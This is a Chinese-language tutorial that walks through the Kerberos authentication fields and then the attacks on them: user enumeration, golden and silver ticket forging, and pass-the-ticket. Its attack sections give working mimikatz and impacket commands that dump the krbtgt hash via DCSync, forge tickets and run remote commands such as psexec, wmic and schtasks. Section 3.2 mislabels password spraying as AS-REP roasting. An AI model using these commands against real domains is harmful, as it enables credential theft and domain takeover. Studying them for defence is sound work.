1.什么是kerbeos
Kerberos 由以下三部分组成:客户机、服务器以及可信的第三方(称为 Kerberos 密钥分发中心,KDC)。KDC 提供认证和凭单授予服务。
KDC 为其领域中所有安全性主体维护用户帐户的数据库或存储库。大量 Kerberos 分发操作对 Kerberos 主体和策略 DB 使用基于文件的存储库,其他分发操作使用轻量级目录访问协议 (LDAP) 作为存储库。
Kerberos 不支持任何概念的组(即,iKey 组或者用户或主体组)。KDC 为其帐户数据库中每个主体维护长期密钥。此长期密钥派生自该主体的密码。仅该主体表示的 KDC 和用户应该知道该长期密钥或密码的内容。
kerberos的简化认证认证过程:
图示详解:
- AS_REQ: Client向KDC发起AS_REQ,请求凭据是Client hash加密的时间戳
- AS_REP: KDC使用Client hash进行解密,如果结果正确就返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含Client的sid,Client所在的组。
- TGS_REQ: Client凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求
- TGS_REP: KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash 加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据)
- AP_REQ: Client拿着TGS票据去请求服务
- AP_REP: 服务使用自己的hash解密TGS票据。如果解密正确,就拿着PAC去KDC那边问Client有没有访问权限,域控解密PAC。获取Client的sid,以及所在的组,再根据该服务的ACL,判断Client是否有访问服务的权限。
2.AS_REQ & AS_REP
这里利用的是daiker大佬的工具
2.1.AS_REQ
用户向KDC发起AS_REQ,请求凭据是用户hash加密的时间戳。请求凭据放在PA_DATA里面。
这里解释一下AS_REQ中的各个字段
2.1.1.pvno
kerberos 版本号
2.1.2.msg-type
Kerberos类型 0x0a对应krb-as-req
2.1.3.padata
padata 存放了PA-ENC-TIMESTAMP和PA-PAC-REQUEST
PA-ENC-TIMESTAMP是预认证,使用用户hash加密时间戳,作为value 发送给AS服务器。如果可以解密成功,且时间戳在一定的范围内,则认证通过
PA-PAC-REQUEST是微软引入的PAC拓展,PAC本身并不在kerberos里面,include-pac=true,KDC会根据include的值来判断返回的票据中是否携带PAC。
2.1.4.REQ_BODY
-
cname&sname
在AS_REQ里面cname 是请求的用户,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名。在AS_REQ里面sname是krbtgt,类型是KRB_NT_SRV_INST
-
realm
域名
-
from&till
from为发送时间,till为结束时间,值得注意的是rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测某些工具。
image-20220315141039739.png
-
etype
加密类型
2.2.AS_REP
KDC使用用户 hash进行解密,如果结果正确返回用krbtgt hash加密的TGT票据,TGT里面包含PAC,PAC包含用户的sid,用户所在的组。
2.2.1.msg-type
AS_REQ的响应body对应的就是KRB_AS_REP(0x0b)
2.2.2.crealm
域名
2.2.3.cname
用户名以及用户类型
2.2.4.ticket
这个ticket用于TGS_REQ的认证,是被加密的,用户不可读取里面的内容。在AS_REQ请求里面,是使用krbtgt的hash进行加密的,因此如果我们拥有krbtgt的hash就可以自己制作一个ticket,既黄金票据。
2.2.5.enc_part
Enc_part是可以解密的,key是用户hash,解密后得到Encryptionkey,Encryptionkey里面最重要的字段是session key,也就是下图中的keyvalue部分,改部分作为下阶段的认证密钥。
3.存在的问题
3.1.用户枚举
用户存在但密码错误时:
用户不存在时:
这个其实很好理解,在我们没有域用户的情况下,可以通过修改cname进行用户枚举,如果有域用户,那么直接通过LDAP查询活动目录即可,如果我们的权限是system的话,那么他的也是可以直接通过LDAP查询活动目录的,而此时的凭证信息,就是这台机器的机器用户,也就是机器名加$
3.2.AS-REPRoasting
默认情况下,域账户的登录错误次数是有限的,那么我们可以通过“密码喷洒(Password Spraying)”的形式去扩大成果。具体实现很容易,用同一额带有密码强度的弱口令去跑用户名。
3.3.黄金票据
在AS_REP里面的ticket的encpart是使用krbtgt的hash进行加密的,如果我们拥有krbtgt的hash,就可以给我们自己签发任意用户的TGT票据,这个票据也被称为黄金票据。一般用于拿下域权限后的权限维持,只要管理员不修改 krbtgt
的密码,则可以随时制造 TGT
进入。
工具(仅列出了与金票相关的命令):
- 使用
mimikatz
制作金票
# Get info - Mimikatz
mimikatz # privilege::debug
mimikatz # lsadump::dcsync /user:krbtgt
mimikatz # lsadump::lsa /inject /name:krbtgt
# Forge a Golden ticket - Mimikatz
mimikatz # kerberos::purge // 清除票据
mimikatz # kerberos::golden /user:evil /domain:pentestlab.local /sid:S-1-5-21-3737340914-2019594255-2413685307 /krbtgt:d125e4f69c851529045ec95ca80fa37e /ticket:evil.tck /ptt
mimikatz # kerberos::tgt
/admin 伪造的用户名
/domain 域名称
/sid 域SID
/krbtgt krbtgt的HASH值
/ticket 生成的票据名称
mimikatz # kerberos::ptt ticket.kirbi // 导入票据
cmd > klist // 查看当前有的票据
cmd > klist purge // 清除所有票据
- 使用
impacket
套件制作金票
首先 secretsdump.py
获取 krbtgt
hash。
secretsdump.py domain/username@targetName -just-dc-user krbtgt
使用 lookupsid.py
查看 域 SID
。或者 whoami /all
等方式自行截取。
lookupsid.py domain/username:password@targetName -domain-sids
在 linux 上使用票据,用 impacket
中的 ticketer.py
来制作。需要注意的是用 mimikatz
,kekeo
,rubeus
生成的凭据是以 .kirbi
后缀的。impacket
生成的凭据的后缀是 .ccache
。如果需要在 linux
上使用票据,则需要转为.ccache
格式
# Convert the ticket kirbi to ccache with kekeo
mimikatz > misc::convert ccache ticket.kirbi
# Alternatively you can use ticketer from Impacket
./ticketer.py -nthash a577fcf16cfef780a2ceb343ec39a0d9 -domain-sid S-1-5-21-2972629792-1506071460-1188933728 -domain amity.local mbrody-da
ticketer.py -nthash HASHKRBTGT -domain-sid SID_DOMAIN_A -domain DEV Administrator -extra-sid SID_DOMAIN_B_ENTERPRISE_519
./ticketer.py -nthash e65b41757ea496c2c60e82c05ba8b373 -domain-sid S-1-5-21-354401377-2576014548-1758765946 -domain DEV Administrator -extra-sid S-1-5-21-2992845451-2057077057-2526624608-519
export KRB5CCNAME=/home/user/ticket.ccache
cat $KRB5CCNAME
# NOTE: You may need to comment the proxy_dns setting in the proxychains configuration file
./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
用 ticketConverter.py
转换两种格式
python ticketConverter.py velociraptor.ccache velociraptor.kirbi
Converting ccache => kirbi
python ticketConverter.py velociraptor.kirbi velociraptor.ccache
Converting kirbi => ccache
4.TGS_REQ & TGS_REP
在TGS_REQ & TGS_REP阶段,用户通过AS_REP拿到的TGT票据,去向KDC申请特定服务的访问权限,KDC校验TGT票据,如果校验通过的话,会向用户发送一个TGS票据,之后用户再拿着TGS去访问特定的服务。TGS_REQ这个阶段不需要账号密码,需要AS_REP获取到的TGT凭据。
4.1.TGS_REQ
在TGS_REQ请求中需要ap-req字段,这部分包含了tgt里的信息,kdc以此校验tgt,正确则返回tgs票据。
4.1.1.PA-DATA
正常的TGS_REQ的请求需要用到的,具体内容梗概:
-
AP_REQ
这个是TGS_REQ必须携带的部分,从AS_REP阶段获取到的TGT票据就这个结构体里面。KDC会校验TGT票据,如果票据正确,就返回对应服务的TGS票据。
image-20220316091443768.png
PA_FOR_USER
类型是S4U2SELF,值是一个唯一的标识符,该标识符指示用户的身份。该唯一标识符由用户名和域名组成。
S4U2proxy 必须扩展PA_FOR_USER结构,指定服务代表某个用户(图片里面是administrator)去请求针对服务自身的kerberos服务票据。
PA_PAC_OPTIONS
微软的MS-SFU 2.2.5, S4U2proxy 必须扩展PA-PAC-OPTIONS结构。
如果是基于资源的约束委派,就需要指定Resource-based Constrained Delegation位。
4.1.2.REQ_BODY
-
sname
这里指定要访问的具体服务名称,TGS_REP获得的ticket是用该服务用户的hash进行加密的。如果指定的服务是krbtgt,那么拿到的TGS票据是可以当做TGT票据用的。
image-20220316092704263.png AddtionTicket
附加票据,在S4U2proxy请求里面,既需要正常的TGT,也需要S4U2self阶段获取到的TGS,那么这个TGS就添加到AddtionTicket里面。
4.2.TGS_REP
Kdc校验用户提交的TGT为正确后,会返回对应服务的tgs票据,用来进行下一步的AP_REQ认证
4.2.1.ticket
这个ticket用于AP_REQ的认证。其中里面的enc_part是加密的,用户不可读取里面的内容。在AS_REQ请求里面是,enc_part是使用krbtgt的hash进行加密的,而在TGS_REQ里面是使用要请求的服务的hash加密的。因此如果我们拥有服务的hash就可以自己制作一个ticket,既白银票据。
4.2.2.enc-part
这部分是可以解密的,key是上一轮AS_REP里面返回的session_key,也就是导入凭据里面的 session_key,解密后得到encryptionkey,encryptionkey这个结构里面最重要的字段也是session_key(但是这个session_key 不同于上一轮里面的session_key),用来作为作为下阶段的认证密钥。
5.存在的问题
5.1.pass the ticket
Kerbreos认证中除了第一步AS_ERQ是使用用户的hash加密时间戳进行认证的方式外,其他的验证过程都是通过票据来实现,不同的是不同阶段对应的票据不同罢了。因为票据里面的内容主要是session_key和ticket(使用服务hash加密的,服务包括krbtgt),拿到票据之后,可以用这个票据来作为下阶段的验证了。
5.2.白银票据
在TGS_REP里面的ticket的encpart是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。需要注意的是白银票票据只能访问特定服务。如果将目标主机配置为验证 KDC的PAC签名,则银票将不起作用。优势是制作白银票据不需要再和域控交互,不会再域控上留下相关日志。
白银票据的申请需要目标服务密码 或 NTLM hash
# Create a ticket for the service
mimikatz $ kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE
# Examples
mimikatz $ /kerberos::golden /domain:adsec.local /user:ANY /sid:S-1-5-21-1423455951-1752654185-1824483205 /rc4:ceaxxxxxxxxxxxxxxxxxxxxxxxxxxxxx /target:DESKTOP-01.adsec.local /service:cifs /ptt
mimikatz $ kerberos::golden /domain:jurassic.park /sid:S-1-5-21-1339291983-1349129144-367733775 /rc4:b18b4b218eccad1c223306ea1916885f /user:stegosaurus /service:cifs /target:labwws02.jurassic.park
# Then use the same steps as a Golden ticket
mimikatz $ misc::convert ccache ticket.kirbi
root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
对应服务所需要的票据类型如下:
Service Type | Service Silver Tickets | Attack |
---|---|---|
WMI | HOST + RPCSS | wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe" |
PowerShell Remoting | HTTP + wsman | New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC |
WinRM | HTTP + wsman | New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC |
Scheduled Tasks | HOST | schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1" |
Windows File Share (CIFS) | CIFS | dir \dc01\c$ |
LDAP operations including Mimikatz DCSyncdir \dc01\c$ | LDAP | lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt |
Windows Remote Server Administration Tools | RPCSS + LDAP + CIFS | / |